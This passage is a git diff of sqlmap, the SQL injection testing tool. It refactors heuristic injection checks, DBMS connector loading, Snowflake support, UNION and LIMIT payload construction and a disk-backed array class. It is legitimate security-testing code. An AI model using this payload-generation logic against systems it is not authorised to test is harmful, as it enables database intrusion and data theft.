+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/action.py b/lib/controller/action.py
index 1aeb0bcc409..a1413a62231 100644
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index a58a5125263..4fa6d524933 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -73,7 +73,7 @@
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS
-from lib.core.settings import CHECK_INTERNET_VALUE
+from lib.core.settings import CHECK_INTERNET_CODE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
@@ -277,7 +277,7 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg)
continue
- elif kb.reduceTests == False:
+ elif kb.reduceTests is False:
pass
# Skip DBMS-specific test if it does not match the
@@ -521,7 +521,7 @@ def genCmpPayload():
if ratio == 1.0:
continue
- except (MemoryError, OverflowError):
+ except:
pass
# Perform the test's True request
@@ -529,7 +529,7 @@ def genCmpPayload():
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
trueRawResponse = "%s%s" % (trueHeaders, truePage)
- if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
+ if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))):
# Perform the test's False request
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
@@ -554,7 +554,7 @@ def genCmpPayload():
injectable = True
- elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+ elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
@@ -580,8 +580,8 @@ def genCmpPayload():
break
if injectable:
- if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
- if all((falseCode, trueCode)) and falseCode != trueCode:
+ if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
+ if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
@@ -1050,9 +1050,10 @@ def heuristicCheckSqlInjection(place, parameter):
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
- page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
+ page, _, code = Request.queryPage(payload, place, content=True, raise404=False)
kb.heuristicPage = page
+ kb.heuristicCode = code
kb.heuristicMode = False
parseFilePaths(page)
@@ -1094,6 +1095,8 @@ def _(page):
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
elif platform == WEB_PLATFORM.JSP:
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
+ elif platform == WEB_PLATFORM.CFM:
+ errMsg += "%s=Val(url.%s)" % (parameter, parameter)
else:
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
@@ -1133,15 +1136,18 @@ def _(page):
if conf.beep:
beep()
- for match in re.finditer(FI_ERROR_REGEX, page or ""):
- if randStr1.lower() in match.group(0).lower():
- infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
- logger.info(infoMsg)
+ try:
+ for match in re.finditer(FI_ERROR_REGEX, page or ""):
+ if randStr1.lower() in match.group(0).lower():
+ infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
+ logger.info(infoMsg)
- if conf.beep:
- beep()
+ if conf.beep:
+ beep()
- break
+ break
+ except (SystemError, RuntimeError) as ex:
+ logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
kb.disableHtmlDecoding = False
kb.heuristicMode = False
@@ -1585,8 +1591,7 @@ def checkConnection(suppressOutput=False):
return True
def checkInternet():
- content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
- return CHECK_INTERNET_VALUE in (content or "")
+ return Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[2] == CHECK_INTERNET_CODE
def setVerbosity(): # Cross-referenced function
raise NotImplementedError
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 0c06b515307..1770e751c52 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -69,7 +69,7 @@
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
-from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
+from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HOST_ALIASES
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT
@@ -563,7 +563,7 @@ def start():
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
- elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
+ elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter)):
testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index 1c4994e8484..a2ea41f25bf 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,11 +1,13 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
+from lib.core.common import getSafeExString
+from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.dicts import DBMS_DICT
@@ -39,64 +41,38 @@
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
-from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.access import AccessMap
-from plugins.dbms.altibase.connector import Connector as AltibaseConn
from plugins.dbms.altibase import AltibaseMap
-from plugins.dbms.cache.connector import Connector as CacheConn
from plugins.dbms.cache import CacheMap
-from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn
from plugins.dbms.clickhouse import ClickHouseMap
-from plugins.dbms.cratedb.connector import Connector as CrateDBConn
from plugins.dbms.cratedb import CrateDBMap
-from plugins.dbms.cubrid.connector import Connector as CubridConn
from plugins.dbms.cubrid import CubridMap
-from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.db2 import DB2Map
-from plugins.dbms.derby.connector import Connector as DerbyConn
from plugins.dbms.derby import DerbyMap
-from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
from plugins.dbms.extremedb import ExtremeDBMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.firebird import FirebirdMap
-from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
from plugins.dbms.frontbase import FrontBaseMap
-from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.h2 import H2Map
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.hsqldb import HSQLDBMap
-from plugins.dbms.informix.connector import Connector as InformixConn
from plugins.dbms.informix import InformixMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
from plugins.dbms.maxdb import MaxDBMap
-from plugins.dbms.mckoi.connector import Connector as MckoiConn
from plugins.dbms.mckoi import MckoiMap
-from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
from plugins.dbms.mimersql import MimerSQLMap
-from plugins.dbms.monetdb.connector import Connector as MonetDBConn
from plugins.dbms.monetdb import MonetDBMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.oracle import OracleMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.presto.connector import Connector as PrestoConn
from plugins.dbms.presto import PrestoMap
-from plugins.dbms.raima.connector import Connector as RaimaConn
from plugins.dbms.raima import RaimaMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.vertica.connector import Connector as VerticaConn
from plugins.dbms.vertica import VerticaMap
-from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn
from plugins.dbms.virtuoso import VirtuosoMap
+from plugins.dbms.snowflake import SnowflakeMap
def setHandler():
"""
@@ -105,34 +81,35 @@ def setHandler():
"""
items = [
- (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
- (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
- (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
- (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
- (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
- (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
- (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
- (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
- (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
- (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
- (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
- (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
- (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
- (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
- (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
- (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
- (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
- (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
- (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
- (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
- (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn),
- (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
- (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
- (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
- (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
- (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
- (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn),
- (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
+ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
+ (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
+ (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, "plugins.dbms.postgresql.connector"),
+ (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, "plugins.dbms.mssqlserver.connector"),
+ (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, "plugins.dbms.sqlite.connector"),
+ (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, "plugins.dbms.access.connector"),
+ (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, "plugins.dbms.firebird.connector"),
+ (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, "plugins.dbms.maxdb.connector"),
+ (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, "plugins.dbms.sybase.connector"),
+ (DBMS.DB2, DB2_ALIASES, DB2Map, "plugins.dbms.db2.connector"),
+ (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, "plugins.dbms.hsqldb.connector"),
+ (DBMS.H2, H2_ALIASES, H2Map, "plugins.dbms.h2.connector"),
+ (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, "plugins.dbms.informix.connector"),
+ (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, "plugins.dbms.monetdb.connector"),
+ (DBMS.DERBY, DERBY_ALIASES, DerbyMap, "plugins.dbms.derby.connector"),
+ (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, "plugins.dbms.vertica.connector"),
+ (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, "plugins.dbms.mckoi.connector"),
+ (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, "plugins.dbms.presto.connector"),
+ (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, "plugins.dbms.altibase.connector"),
+ (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, "plugins.dbms.mimersql.connector"),
+ (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, "plugins.dbms.clickhouse.connector"),
+ (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, "plugins.dbms.cratedb.connector"),
+ (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, "plugins.dbms.cubrid.connector"),
+ (DBMS.CACHE, CACHE_ALIASES, CacheMap, "plugins.dbms.cache.connector"),
+ (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, "plugins.dbms.extremedb.connector"),
+ (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, "plugins.dbms.frontbase.connector"),
+ (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
+ (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
+ (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
@@ -140,7 +117,7 @@ def setHandler():
items.remove(_)
items.insert(0, _)
- for dbms, aliases, Handler, Connector in items:
+ for dbms, aliases, Handler, connector in items:
if conf.forceDbms:
if conf.forceDbms.lower() not in aliases:
continue
@@ -152,9 +129,12 @@ def setHandler():
continue
handler = Handler()
- conf.dbmsConnector = Connector()
+ conf.dbmsConnector = None
if conf.direct:
+ _ = __import__(connector, fromlist=['Connector'])
+ conf.dbmsConnector = _.Connector()
+
exception = None
dialect = DBMS_DICT[dbms][3]
@@ -171,16 +151,17 @@ def setHandler():
if not dialect or exception:
try:
conf.dbmsConnector.connect()
- except Exception as ex:
+ except NameError:
if exception:
raise exception
else:
- if not isinstance(ex, NameError):
- raise
- else:
- msg = "support for direct connection to '%s' is not available. " % dbms
- msg += "Please rerun with '--dependencies'"
- raise SqlmapConnectionException(msg)
+ msg = "support for direct connection to '%s' is not available. " % dbms
+ msg += "Please rerun with '--dependencies'"
+ raise SqlmapConnectionException(msg)
+ except:
+ if exception:
+ singleTimeWarnMessage(getSafeExString(exception))
+ raise
if conf.forceDbms == dbms or handler.checkDbms():
if kb.resolutionDbms:
diff --git a/lib/core/__init__.py b/lib/core/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/lib/core/__init__.py
+++ b/lib/core/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/agent.py b/lib/core/agent.py
index d802f4c971e..a0dc5b5be85 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -119,7 +119,10 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
if place == PLACE.URI:
origValue = origValue.split(kb.customInjectionMark)[0]
else:
- origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
+ try:
+ origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
+ except IndexError:
+ pass
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':', ',', '&'):
if char in origValue:
@@ -424,6 +427,11 @@ def adjustLateValues(self, payload):
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
+ elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,):
+ payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload)
+ if "SYS.USER$" in payload:
+ payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload)
+ payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload)
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057
match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload)
@@ -716,7 +724,7 @@ def concatQuery(self, query, unpack=True):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -739,7 +747,7 @@ def concatQuery(self, query, unpack=True):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
- topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
+ topNum = fieldsSelectTop.group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
@@ -878,20 +886,22 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char,
query = query[len("TOP %s " % topNum):]
unionQuery += "TOP %s " % topNum
- intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
+ intoFileRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
- if intoRegExp:
- intoRegExp = intoRegExp.group(1)
- query = query[:query.index(intoRegExp)]
+ if intoFileRegExp:
+ infoFile = intoFileRegExp.group(1)
+ query = query[:query.index(infoFile)]
position = 0
char = NULL
+ else:
+ infoFile = None
for element in xrange(0, count):
if element > 0:
unionQuery += ','
- if conf.uValues:
+ if conf.uValues and conf.uValues.count(',') + 1 == count:
unionQuery += conf.uValues.split(',')[element]
elif element == position:
unionQuery += query
@@ -904,8 +914,8 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char,
if fromTable and not unionQuery.endswith(fromTable):
unionQuery += fromTable
- if intoRegExp:
- unionQuery += intoRegExp
+ if infoFile:
+ unionQuery += infoFile
if multipleUnions:
unionQuery += " UNION ALL SELECT "
@@ -1031,16 +1041,16 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
- if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA):
+ if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
- limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
+ elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
+ limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
- elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE):
- limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
+ elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
+ limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py
index 3cccd2d1ec6..7e33524b8d4 100644
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -12,8 +12,10 @@
import itertools
import os
+import shutil
import sys
import tempfile
+import threading
import zlib
from lib.core.compat import xrange
@@ -27,6 +29,13 @@
except TypeError:
DEFAULT_SIZE_OF = 16
+try:
+ # Python 2: basestring covers str and unicode
+ STRING_TYPES = (basestring,)
+except NameError:
+ # Python 3: str and bytes are separate
+ STRING_TYPES = (str, bytes)
+
def _size_of(instance):
"""
Returns total size of a given instance / object (in bytes)
@@ -34,10 +43,12 @@ def _size_of(instance):
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
- if isinstance(instance, dict):
+ if isinstance(instance, STRING_TYPES):
+ return retval
+ elif isinstance(instance, dict):
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
- elif hasattr(instance, "__iter__"):
- retval += sum(_size_of(_) for _ in instance if _ != instance)
+ elif isinstance(instance, (list, tuple, set, frozenset)):
+ retval += sum(_size_of(_) for _ in instance if _ is not instance)
return retval
@@ -55,25 +66,50 @@ class BigArray(list):
"""
List-like class used for storing large amounts of data (disk cached)
- >>> _ = BigArray(xrange(100000))
+ >>> _ = BigArray(xrange(100000), chunk_size=500 * 1024)
>>> _[20] = 0
+ >>> _[-1] = 999
>>> _[99999]
- 99999
+ 999
+ >>> _[100000]
+ Traceback (most recent call last):
+ ...
+ IndexError: BigArray index out of range
>>> _ += [0]
+ >>> sum(_)
+ 4999850980
+ >>> _[len(_) // 2] = 17
+ >>> sum(_)
+ 4999800997
>>> _[100000]
0
- >>> _ = _ + [1]
+ >>> _[0] = [None]
+ >>> _.index(0)
+ 20
+ >>> import pickle; __ = pickle.loads(pickle.dumps(_))
+ >>> __.append(1)
+ >>> len(_)
+ 100001
+ >>> _ = __
>>> _[-1]
1
+ >>> _.pop()
+ 1
+ >>> len(_)
+ 100001
+ >>> len([_ for _ in BigArray(xrange(100000))])
+ 100000
"""
- def __init__(self, items=None):
+ def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE):
self.chunks = [[]]
self.chunk_length = sys.maxsize
self.cache = None
self.filenames = set()
+ self._lock = threading.Lock()
self._os_remove = os.remove
self._size_counter = 0
+ self._chunk_size = chunk_size
for item in (items or []):
self.append(item)
@@ -93,33 +129,38 @@ def __iadd__(self, value):
return self
def append(self, value):
- self.chunks[-1].append(value)
+ with self._lock:
+ self.chunks[-1].append(value)
- if self.chunk_length == sys.maxsize:
- self._size_counter += _size_of(value)
- if self._size_counter >= BIGARRAY_CHUNK_SIZE:
- self.chunk_length = len(self.chunks[-1])
- self._size_counter = None
+ if self.chunk_length == sys.maxsize:
+ self._size_counter += _size_of(value)
+ if self._size_counter >= self._chunk_size:
+ self.chunk_length = len(self.chunks[-1])
+ self._size_counter = None
- if len(self.chunks[-1]) >= self.chunk_length:
- filename = self._dump(self.chunks[-1])
- self.chunks[-1] = filename
- self.chunks.append([])
+ if len(self.chunks[-1]) >= self.chunk_length:
+ filename = self._dump(self.chunks[-1])
+ self.chunks[-1] = filename
+ self.chunks.append([])
def extend(self, value):
for _ in value:
self.append(_)
def pop(self):
- if len(self.chunks[-1]) < 1:
- self.chunks.pop()
- try:
- with open(self.chunks[-1], "rb") as f:
- self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
- except IOError as ex:
- errMsg = "exception occurred while retrieving data "
- errMsg += "from a temporary file ('%s')" % ex
- raise SqlmapSystemException(errMsg)
+ with self._lock:
+ if not self.chunks[-1] and len(self.chunks) > 1:
+ self.chunks.pop()
+ try:
+ filename = self.chunks[-1]
+ with open(filename, "rb") as f:
+ self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+ self._os_remove(filename)
+ self.filenames.discard(filename)
+ except IOError as ex:
+ errMsg = "exception occurred while retrieving data "
+ errMsg += "from a temporary file ('%s')" % ex
+ raise SqlmapSystemException(errMsg)
return self.chunks[-1].pop()
@@ -128,14 +169,32 @@ def index(self, value):
if self[index] == value:
return index
- return ValueError, "%s is not in list" % value
+ raise ValueError("%s is not in list" % value)
+
+ def __reduce__(self):
+ return (self.__class__, (), self.__getstate__())
+
+ def close(self):
+ with self._lock:
+ while self.filenames:
+ filename = self.filenames.pop()
+ try:
+ self._os_remove(filename)
+ except OSError:
+ pass
+ self.chunks = [[]]
+ self.cache = None
+ self.chunk_length = getattr(sys, "maxsize", None)
+ self._size_counter = 0
+
+ def __del__(self):
+ self.close()
def _dump(self, chunk):
try:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
self.filenames.add(filename)
- os.close(handle)
- with open(filename, "w+b") as f:
+ with os.fdopen(handle, "w+b") as f:
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
